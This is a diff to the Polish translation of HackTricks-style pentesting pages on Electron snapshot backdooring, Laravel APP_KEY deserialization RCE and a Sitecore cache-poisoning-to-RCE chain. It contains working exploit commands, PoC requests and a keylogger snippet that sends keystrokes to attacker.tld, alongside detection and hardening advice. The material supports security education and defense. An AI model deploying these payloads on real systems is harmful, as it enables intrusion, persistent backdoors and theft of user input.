snapshot from this payload // npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" @@ -462,11 +462,11 @@ Array.isArray = function () { throw new Error("testing isArray gadget"); }; ``` -Routing świadomy izolatu dla payload (uruchamianie innego kodu w main vs. renderer) -- Wykrywanie procesu głównego: Globalne zmienne dostępne tylko w Node, takie jak process.pid, process.binding(), lub process.dlopen, są obecne w izolacie procesu głównego. -- Wykrywanie przeglądarki/renderer: Globalne zmienne dostępne tylko w przeglądarce, takie jak alert, są dostępne przy uruchomieniu w kontekście dokumentu. +Isolate-aware payload routing (uruchamiaj różny kod w main vs. renderer) +- Wykrywanie main process: globalne obiekty dostępne tylko w Node, takie jak process.pid, process.binding(), lub process.dlopen, są obecne w izolacie procesu main. +- Wykrywanie Browser/renderer: globalne obiekty dostępne tylko w Browser, takie jak alert, są dostępne podczas uruchamiania w kontekście dokumentu. -Przykładowy gadget, który jednorazowo bada możliwości Node w procesie głównym +Przykładowy gadget, który jednorazowo bada możliwości Node w main-process ```js const orig = Array.isArray; @@ -495,7 +495,7 @@ process.exit(0); return orig(...arguments); }; ``` -Renderer/browser-context kradzież danych PoC (np. Slack) +Renderer/browser-context data theft PoC (np. Slack) ```js const orig = Array.isArray; Array.isArray = function() { @@ -519,26 +519,26 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no return orig(...arguments); }; ``` -Przepływ pracy operatora -1) Napisz payload.js, który nadpisuje powszechny builtin (np. Array.isArray) i opcjonalnie rozgałęzia się per isolate. +Przebieg pracy operatora +1) Utwórz payload.js, który nadpisuje powszechny builtin (np. Array.isArray) i opcjonalnie rozgałęzia się dla każdego isolate. 2) Zbuduj snapshot bez źródeł Chromium: - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" 3) Zastąp pliki snapshot docelowej aplikacji: - v8_context_snapshot.bin (zawsze używany) -- browser_v8_context_snapshot.bin (jeśli użyty jest fuse LoadBrowserProcessSpecificV8Snapshot) -4) Uruchom aplikację; gadget wykona się za każdym razem, gdy wybrany builtin zostanie użyty. +- browser_v8_context_snapshot.bin (jeśli używany jest LoadBrowserProcessSpecificV8Snapshot fuse) +4) Uruchom aplikację; gadget wykona się za każdym razem, gdy wybrane builtin zostanie użyte. Uwagi i rozważania -- Integrity/signature bypass: Pliki snapshot nie są traktowane jako natywne wykonywalne przez kontrole podpisu kodu i (historycznie) nie były objęte przez Electron’s fuses ani kontrolami integralności Chromium. -- Persistence: Zastąpienie snapshotu w instalacji zapisywalnej przez użytkownika zwykle przetrwa restarty aplikacji i wygląda jak podpisana, legalna aplikacja. -- Chromium browsers: Ta sama koncepcja manipulacji ma zastosowanie do Chrome/derivatives zainstalowanych w lokalizacjach zapisywalnych przez użytkownika. Chrome ma inne mechanizmy ochrony integralności, ale wyraźnie wyłącza lokalne ataki fizyczne z modelu zagrożeń. +- Ominięcie integralności/podpisu: pliki snapshot nie są traktowane jako natywne pliki wykonywalne przez kontrole podpisu kodu i (historycznie) nie były objęte przez Electron’s fuses ani mechanizmy integralności Chromium. +- Trwałość: zastąpienie snapshotu w instalacji zapisywalnej przez użytkownika zazwyczaj przetrwa restarty aplikacji i wygląda jak podpisana, autentyczna aplikacja. +- Przeglądarki Chromium: ten sam koncept manipulacji ma zastosowanie do Chrome/pochodnych zainstalowanych w lokalizacjach zapisywalnych przez użytkownika. Chrome ma inne mechanizmy integralności, ale wyraźnie wyłącza ataki fizycznie lokalne z modelu zagrożeń. Wykrywanie i środki zaradcze -- Traktuj snapshoty jako zawartość wykonywalną i uwzględnij je w egzekwowaniu integralności (CVE-2025-55305 fix). -- Preferuj lokalizacje instalacji zapisywalne tylko przez admina; ustal bazowe i monitoruj hashe dla v8_context_snapshot.bin i browser_v8_context_snapshot.bin. -- Wykrywaj nadpisania builtinów we wczesnym czasie uruchomienia i nieoczekiwane zmiany snapshotu; generuj alert, gdy deserializowane snapshoty nie pasują do oczekiwanych wartości. +- Traktować snapshoty jako zawartość wykonywalną i uwzględnić je w wymuszaniu integralności (CVE-2025-55305 fix). +- Preferować lokalizacje instalacji zapisywalne tylko przez administratora; ustalić bazowe i monitorować hashe dla v8_context_snapshot.bin i browser_v8_context_snapshot.bin. +- Wykrywać nadpisywanie builtinów we wczesnym etapie runtime oraz nieoczekiwane zmiany snapshotów; generować alert, gdy zdeserializowane snapshoty nie zgadzają się z oczekiwanymi wartościami. -## **References** +## **Referencje** - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 317b4500a..43a8b3da1 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -4,14 +4,14 @@ ### Laravel SQLInjection -Przeczytaj informacje na ten temat tutaj: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +Przeczytaj o tym tutaj: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- ## APP_KEY & Wewnętrzne mechanizmy szyfrowania (Laravel \u003e=5.6) -Laravel używa AES-256-CBC (lub GCM) z integralnością HMAC w tle (`Illuminate\\Encryption\\Encrypter`). -The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like: +Laravel używa AES-256-CBC (lub GCM) z integralnością HMAC pod maską (`Illuminate\\Encryption\\Encrypter`). +Surowy szyfrogram, który ostatecznie **wysyłany do klienta**, to **Base64 obiektu JSON** w postaci: ```json { "iv" : "Base64(random 16-byte IV)", @@ -20,18 +20,18 @@ The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` domyślnie wykonuje `serialize()` na plaintext, natomiast -`decrypt($payload, $unserialize=true)` **automatycznie wykona `unserialize()`** na odszyfrowanej wartości. -W związku z tym **każdy atakujący, który zna 32-bajtowy sekret `APP_KEY`, może skonstruować zaszyfrowany PHP serialized object i uzyskać RCE poprzez magic methods (`__wakeup`, `__destruct`, …)**. +`encrypt($value, $serialize=true)` będzie domyślnie `serialize()`-ować plaintext, natomiast +`decrypt($payload, $unserialize=true)` **automatycznie `unserialize()`** odszyfrowaną wartość. +W związku z tym **każdy atakujący, który zna 32-bajtowy sekret `APP_KEY`, może skonstruować zaszyfrowany PHP serialized object i uzyskać RCE poprzez metody magiczne (`__wakeup`, `__destruct`, …)**. -Minimal PoC (framework ≥9.x): +Minimalny PoC (framework ≥9.x): ```php use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -Wstrzyknij wygenerowany ciąg do dowolnego podatnego `decrypt()` sink (route param, cookie, session, …). +Wstrzyknij wygenerowany string do dowolnego podatnego `decrypt()` sinku (route param, cookie, session, …). --- @@ -47,25 +47,25 @@ laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` -Skrypt obsługuje transparentnie zarówno CBC, jak i GCM payloads oraz ponownie generuje pole HMAC/tag. +Skrypt transparentnie obsługuje zarówno CBC, jak i GCM payloads oraz ponownie generuje pole HMAC/tag. --- -## Rzeczywiste podatne wzorce +## Rzeczywiste wzorce podatności | Projekt | Wrażliwy sink | Gadget chain | |---------|-----------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie gdy `Passport::withCookieSerialization()` jest włączone | Laravel/RCE9 | | Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | -Proces eksploatacji jest zawsze ten sam: -1. Uzyskaj lub brute-force 32-bajtowy `APP_KEY`. -2. Zbuduj gadget chain przy użyciu **PHPGGC** (np. `Laravel/RCE13`, `Laravel/RCE9` lub `Laravel/RCE15`). +Przebieg eksploatacji jest zawsze następujący: +1. Uzyskaj lub przeprowadź brute-force 32-bajtowy `APP_KEY`. +2. Zbuduj gadget chain za pomocą **PHPGGC** (np. `Laravel/RCE13`, `Laravel/RCE9` lub `Laravel/RCE15`). 3. Zaszyfruj zserializowany gadget za pomocą **laravel_crypto_killer.py** i odzyskanego `APP_KEY`. -4. Dostarcz szyfrogram do wrażliwego sinka `decrypt()` (parametr trasy, cookie, session …), aby wywołać **RCE**. +4. Dostarcz szyfrogram do wrażliwego sinka `decrypt()` (parametr route, cookie, session …) aby wywołać **RCE**. -Poniżej znajdują się zwięzłe one-linery pokazujące pełną ścieżkę ataku dla każdego z wymienionych powyżej CVE: +Poniżej znajdują się zwięzłe one-liners pokazujące pełną ścieżkę ataku dla każdego z wymienionych powyżej CVE: ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ @@ -82,40 +82,40 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` -## Mass APP_KEY discovery via cookie brute-force +## Masowe odkrywanie APP_KEY przez cookie brute-force -Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline. +Ponieważ każda świeża odpowiedź Laravel ustawia co najmniej 1 zaszyfrowany cookie (`XSRF-TOKEN` i zazwyczaj `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** które można atakować offline. -Key findings of the research published by Synacktiv (2024-2025): -* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) -* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** -* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data. -* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …). +Kluczowe ustalenia badań opublikowanych przez Synacktiv (2024–2025): +* Zbiór danych lipiec 2024 » 580 k tokenów, **3.99 % złamanych kluczy** (≈23 k) +* Zbiór danych maj 2025 » 625 k tokenów, **3.56 % złamanych kluczy** +* >1 000 serwerów nadal podatnych na legacy CVE-2018-15133, ponieważ tokeny bezpośrednio zawierają zserializowane dane. +* Ogromne ponowne użycie kluczy – Top-10 APP_KEYs to hard-coded defaults dołączane do komercyjnych szablonów Laravel (UltimatePOS, Invoice Ninja, XPanel, …). -The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes. +Prywatne narzędzie Go **nounours** zwiększa przepustowość bruteforce AES-CBC/GCM do ~1.5 billion tries/s, skracając złamanie całego zbioru do <2 minut. ## CVE-2024-52301 – HTTP argv/env override → auth bypass -When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL: +Gdy w PHP `register_argc_argv=On` (typowe w wielu dystrybucjach), PHP udostępnia tablicę `argv` dla żądań HTTP pochodzącą z query string. Nowsze wersje Laravel parsowały te „CLI-like” argumenty i honorowały `--env=` w czasie wykonywania. Pozwala to na przełączenie środowiska frameworka dla bieżącego żądania HTTP przez dodanie tego do dowolnego URL: - Quick check: -- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working. +- Odwiedź `https://target/?--env=local` lub dowolny ciąg i sprawdź zmiany zależne od środowiska (banery debug, stopki, szczegółowe błędy). Jeśli ciąg jest odzwierciedlany, nadpisanie działa. -- Impact example (business logic trusting a special env): -- If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to: +- Przykład wpływu (logika biznesowa ufająca specjalnemu env): +- Jeśli aplikacja zawiera gałęzie takie jak `if (app()->environment('preprod')) { /* bypass auth */ }`, możesz się uwierzytelnić bez prawidłowych creds wysyłając POST logowania na: - `POST /login?--env=preprod` -- Notes: -- Works per-request, no persistence. -- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP. -- Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths. +- Uwagi: +- Działa dla pojedynczego żądania, bez trwałych zmian. +- Wymaga `register_argc_argv=On` oraz podatnej wersji Laravel, która czyta argv dla HTTP. +- Użyteczny prymityw do ujawniania bardziej szczegółowych błędów w środowiskach „debug” lub do wywoływania ścieżek kodu zależnych od środowiska. -- Mitigations: -- Disable `register_argc_argv` for PHP-FPM/Apache. -- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes. +- Mitigacje: +- Wyłącz `register_argc_argv` dla PHP-FPM/Apache. +- Zaktualizuj Laravel, aby ignorował argv w żądaniach HTTP i usuń wszelkie założenia zaufania powiązane z `app()->environment()` w trasach produkcyjnych. -Minimal exploitation flow (Burp): +Minimalny przebieg eksploatacji (Burp): ```http POST /login?--env=preprod HTTP/1.1 Host: target @@ -125,26 +125,26 @@ email=a@b.c&password=whatever&remember=0xdf ``` --- -## Laravel Wskazówki +## Laravel Tricks -### Tryb debugowania +### Debugging mode -Jeśli Laravel jest w **trybie debugowania** będziesz mieć dostęp do **kodu** i **poufnych danych**.\ +Jeśli Laravel jest w **trybie debugowania** będziesz mógł uzyskać dostęp do **kodu** i **wrażliwych danych**.\ Na przykład `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Zwykle jest to potrzebne do exploiting other Laravel RCE CVEs. +Zwykle jest to potrzebne do wykorzystania innych Laravel RCE CVEs. ### Fingerprinting & exposed dev endpoints -Szybkie sprawdzenia pozwalające zidentyfikować stack Laravel i niebezpieczne narzędzia developerskie wystawione w produkcji: +Szybkie kontrole pozwalające zidentyfikować stos Laravel i niebezpieczne narzędzia deweloperskie wystawione w produkcji: -- `/_ignition/health-check` → Ignition present (narzędzie debugujące używane w CVE-2021-3129). Jeśli dostępne bez uwierzytelnienia, aplikacja może być w trybie debugowania lub niewłaściwie skonfigurowana. -- `/_debugbar` → Laravel Debugbar assets; często wskazuje tryb debugowania. -- `/telescope` → Laravel Telescope (monitor deweloperski). Jeśli dostępny publicznie, spodziewaj się szerokiego ujawnienia informacji i możliwych działań. +- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). Jeśli dostępne bez uwierzytelnienia, aplikacja może być w trybie debug lub źle skonfigurowana. +- `/_debugbar` → Laravel Debugbar assets; często wskazuje na tryb debugowania. +- `/telescope` → Laravel Telescope (dev monitor). Jeśli publicznie dostępne, spodziewaj się szerokiego ujawnienia informacji i możliwych akcji. - `/horizon` → Queue dashboard; ujawnianie wersji i czasami akcje chronione CSRF. -- Nagłówki X-Powered-By, ciasteczka `XSRF-TOKEN` i `laravel_session`, oraz strony błędów Blade też pomagają w fingerprintingu. +- Nagłówek `X-Powered-By`, ciasteczka `XSRF-TOKEN` i `laravel_session`, oraz strony błędów Blade również pomagają w identyfikacji. ```bash # Nuclei quick probe nuclei -nt -u https://target -tags laravel -rl 30 @@ -153,9 +153,9 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/ ``` ### .env -Laravel zapisuje APP, którego używa do szyfrowania cookies i innych poświadczeń, w pliku o nazwie `.env`, do którego można uzyskać dostęp przy użyciu path traversal pod: `/../.env` +Laravel zapisuje APP, którego używa do szyfrowania cookies i innych poświadczeń, w pliku o nazwie `.env`, do którego można uzyskać dostęp za pomocą path traversal: `/../.env` -Laravel pokaże również te informacje na debug page (która pojawia się, gdy Laravel napotka błąd i jest włączony). +Laravel pokaże też te informacje na stronie debug (która pojawia się, gdy Laravel napotka błąd i jest włączony). Używając sekretnego APP_KEY Laravela możesz odszyfrować i ponownie zaszyfrować cookies: @@ -220,12 +220,12 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe ``` ### Laravel Deserialization RCE -Wersje podatne: 5.5.40 i 5.6.x poprzez 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +Wersje podatne: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) Informacje o podatności deserialization znajdziesz tutaj: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) Możesz to przetestować i exploitować używając [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ -Lub możesz też exploitować to przy użyciu metasploit: `use unix/http/laravel_token_unserialize_exec` +Lub możesz też exploitować to za pomocą metasploit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 @@ -233,7 +233,7 @@ Kolejna deserialization: [https://github.com/ambionics/laravel-exploits](https:/ -## References +## Referencje * [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) * [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md index a3ca046f6..edafb194f 100644 --- a/src/network-services-pentesting/pentesting-web/sitecore/README.md +++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md @@ -2,10 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -Ta strona podsumowuje praktyczny łańcuch ataku przeciwko Sitecore XP 10.4.1, który przechodzi od pre‑auth XAML handler do HTML cache poisoning i, poprzez authenticated UI flow, do RCE za pomocą BinaryFormatter deserialization. Techniki te uogólniają się na podobne wersje/komponenty Sitecore i dostarczają konkretne prymitywy do testowania, wykrywania i zabezpieczania. +Ta strona podsumowuje praktyczny łańcuch ataku przeciwko Sitecore XP 10.4.1, który przechodzi od pre‑auth XAML handler do HTML cache poisoning i — przez authenticated UI flow — do RCE przez BinaryFormatter deserialization. Techniki te mają zastosowanie do podobnych wersji/komponentów Sitecore i dostarczają konkretne primitives do testowania, wykrywania i utwardzania. - Testowany produkt: Sitecore XP 10.4.1 rev. 011628 -- Naprawione w: KB1003667, KB1003734 (czerwiec/lipiec 2025) +- Naprawiono w: KB1003667, KB1003734 (czerwiec/lipiec 2025) Zobacz także: @@ -19,7 +19,7 @@ Zobacz także: ## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write -Punkt wejścia to pre‑auth XAML handler zarejestrowany w web.config: +Entrypoint is the pre‑auth XAML handler registered in web.config: ```xml ``` @@ -27,7 +27,7 @@ Dostępne przez: ``` GET /-/xaml/Sitecore.Shell.Xaml.WebControl ``` -Drzewo kontrolek zawiera AjaxScriptManager, który przy żądaniach zdarzeń odczytuje pola kontrolowane przez atakującego i przy użyciu refleksji wywołuje metody na docelowych kontrolkach: +Drzewo kontrolek zawiera AjaxScriptManager, który przy żądaniach zdarzeń odczytuje pola kontrolowane przez atakującego i refleksyjnie wywołuje metody na docelowych kontrolkach: ```csharp // AjaxScriptManager.OnPreRender string clientId = page.Request.Form["__SOURCE"]; // target control @@ -42,7 +42,7 @@ if (m != null) m.Invoke(this, e.Parameters); // Alternate branch for XML-based controls if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} ``` -Kluczowa obserwacja: strona XAML zawiera instancję XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl dziedziczy po Sitecore.Web.UI.WebControl (klasie Sitecore), która przepuszcza ReflectionUtil.Filter allow‑list (Sitecore.*), odblokowując metody na Sitecore WebControl. +Kluczowa obserwacja: strona XAML zawiera instancję XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl dziedziczy po Sitecore.Web.UI.WebControl (klasa Sitecore), która przekazuje ReflectionUtil.Filter (listę dozwolonych: Sitecore.*), odblokowując metody w Sitecore WebControl. Magiczna metoda do poisoning: ```csharp @@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site); if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout); } ``` -Ponieważ możemy targetować xmlcontrol:GlobalHeader i wywoływać metody Sitecore.Web.UI.WebControl po nazwie, uzyskujemy pre‑auth prymityw pozwalający na dowolny zapis do HtmlCache. +Ponieważ możemy zaadresować xmlcontrol:GlobalHeader i wywoływać metody Sitecore.Web.UI.WebControl po nazwie, otrzymujemy pre‑auth arbitrary HtmlCache write primitive. ### Prośba o PoC (CVE-2025-53693) ``` @@ -62,11 +62,11 @@ Content-Type: application/x-www-form-urlencoded __PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` -Notatki: -- __SOURCE jest clientID xmlcontrol:GlobalHeader w ramach Sitecore.Shell.Xaml.WebControl (zwykle stabilny, np. ctl00_ctl00_ctl05_ctl03, ponieważ jest wyprowadzony ze statycznego XAML). +Uwagi: +- __SOURCE to clientID xmlcontrol:GlobalHeader w obrębie Sitecore.Shell.Xaml.WebControl (zazwyczaj stabilne, np. ctl00_ctl00_ctl05_ctl03, ponieważ pochodzi ze statycznego XAML). - __PARAMETERS ma format Method("arg1","arg2"). -## Co zatruć: konstrukcja klucza Cache +## Co zatruć: konstrukcja klucza cache Typowa konstrukcja klucza HtmlCache używana przez kontrolki Sitecore: ```csharp @@ -94,9 +94,9 @@ Przykład targeted poisoning dla znanego sublayoutu: ``` __PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","…attacker HTML…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` -## Wyliczanie elementów cache'owalnych i wymiarów “vary by” +## Wyliczanie cacheable items i “vary by” dimensions -Jeśli ItemService jest (błędnie) wystawiony anonimowo, możesz wyliczyć komponenty cache'owalne, aby uzyskać dokładne klucze. +Jeśli ItemService jest (mis)exposed i dostępny anonimowo, możesz wyliczyć cacheable components, aby uzyskać dokładne klucze. Szybkie sprawdzenie: ``` @@ -104,17 +104,17 @@ GET /sitecore/api/ssc/item // 404 Sitecore error body → exposed (anonymous) // 403 → blocked/auth required ``` -Wypisz elementy możliwe do cache'owania i flagi: +Wypisz elementy możliwe do buforowania i flagi: ``` GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 ``` -Szukaj pól takich jak Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Nazwy urządzeń można wyliczyć za pomocą: +Szukaj pól takich jak Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Nazwy urządzeń można wyenumerować za pomocą: ``` GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 ``` ### Side‑channel enumeration under restricted identities (CVE-2025-53694) -Nawet gdy ItemService podszywa się pod ograniczone konto (np. ServicesAPI) i zwraca pustą tablicę Results, TotalCount może nadal odzwierciedlać pre‑ACL trafienia w Solr. Możesz brute‑force item groups/ids przy użyciu wildcards i obserwować, jak TotalCount zbiega się, aby zmapować wewnętrzną zawartość i urządzenia: +Nawet gdy ItemService podszywa się pod ograniczone konto (e.g., ServicesAPI) i zwraca pustą tablicę Results, TotalCount może nadal odzwierciedlać pre‑ACL Solr hits. Można brute‑force item groups/ids przy użyciu wildcards i obserwować, jak TotalCount zbiega, aby zmapować wewnętrzną zawartość i urządzenia: ``` GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true → "TotalCount": 3 @@ -123,22 +123,22 @@ GET /...term=%2B_templatename:Device;%2B_group:aa* GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1* → narrow to a specific item ``` -## Post‑auth RCE: BinaryFormatter sink w convertToRuntimeHtml (CVE-2025-53691) +## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691) -Miejsce wykorzystania: +Sink: ```csharp // Sitecore.Convert byte[] b = Convert.FromBase64String(data); return new BinaryFormatter().Deserialize(new MemoryStream(b)); ``` -Dostępne za pośrednictwem kroku pipeline convertToRuntimeHtml o nazwie ConvertWebControls, który szuka elementu o id {iframeId}_inner, base64 decodes + deserializes jego zawartość, a następnie wstrzykuje powstały string do HTML: +Dostępne przez krok pipeline convertToRuntimeHtml ConvertWebControls, który szuka elementu o id {iframeId}_inner, dekoduje go z base64 i deserializuje, a następnie wstrzykuje otrzymany ciąg do HTML: ```csharp HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); string text2 = inner?.GetAttributeValue("value", ""); if (text2.Length > 0) htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); ``` -Wyzwalacz (uwierzytelniony, prawa Content Editor). Okno dialogowe FixHtml wywołuje convertToRuntimeHtml. End‑to‑end bez kliknięć w UI: +Wyzwalacz (uwierzytelniony, uprawnienia Content Editor). Dialog FixHtml wywołuje convertToRuntimeHtml. End‑to‑end bez klikania w UI: ``` // 1) Start Content Editor GET /sitecore/shell/Applications/Content%20Editor.aspx @@ -159,35 +159,35 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= // 4) Visit FixHtml to trigger ConvertWebControls → deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... ``` -Generowanie gadgetu: użyj ysoserial.net / YSoNet z BinaryFormatter, aby wygenerować base64 payload zwracający string. Zawartość tego stringa jest zapisywana do HTML przez ConvertWebControls po wykonaniu efektów ubocznych deserializacji. +Generowanie gadgetów: użyj ysoserial.net / YSoNet z BinaryFormatter, aby wygenerować base64 payload zwracający string. Zawartość tego stringa jest zapisywana w HTML przez ConvertWebControls po wykonaniu efektów ubocznych deserializacji. {{#ref}} ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md {{#endref}} -## Pełny łańcuch +## Kompletny łańcuch -1) Pre‑auth attacker zatruwa HtmlCache dowolnym HTML, wywołując refleksyjnie WebControl.AddToCache przez XAML AjaxScriptManager. -2) Zatruty HTML serwuje JavaScript, który nakłania uwierzytelnionego użytkownika Content Editor do przejścia przez flow FixHtml. -3) Strona FixHtml uruchamia convertToRuntimeHtml → ConvertWebControls, które deserializuje kontrolowane przez atakującego base64 za pomocą BinaryFormatter → RCE pod tożsamością puli aplikacji Sitecore. +1) Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager. +2) Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow. +3) The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity. ## Wykrywanie -- Pre‑auth XAML: żądania do `/-/xaml/Sitecore.Shell.Xaml.WebControl` z `__ISEVENT=1`, podejrzane `__SOURCE` oraz `__PARAMETERS=AddToCache(...)`. -- ItemService probing: skoki zapytań wildcard do `/sitecore/api/ssc`, duże `TotalCount` przy pustych `Results`. -- Próby deserializacji: `EditHtml.aspx` a następnie `FixHtml.aspx?hdl=...` oraz nietypowo duże base64 w polach HTML. +- Pre‑auth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`. +- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`. +- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields. ## Utwardzanie -- Zastosuj poprawki Sitecore KB1003667 i KB1003734; zablokuj/wyłącz pre‑auth XAML handlers lub dodaj rygorystyczną walidację; monitoruj i ograniczaj liczbę żądań do `/-/xaml/`. -- Usuń/zastąp BinaryFormatter; ogranicz dostęp do convertToRuntimeHtml lub wymuś silną walidację po stronie serwera w przepływach edycji HTML. -- Zablokuj `/sitecore/api/ssc` do loopback lub autoryzowanych ról; unikaj wzorców impersonation, które tworzą kanały boczne oparte na `TotalCount`. -- Wymuś MFA/zasadę najmniejszych uprawnień dla użytkowników Content Editor; przejrzyj CSP, aby zmniejszyć wpływ JS steering wynikający z cache poisoning. +- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit `/-/xaml/`. +- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows. +- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`‑based side channels. +- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning. ## References -- [watchTowr Labs – Cache Me If You Can: 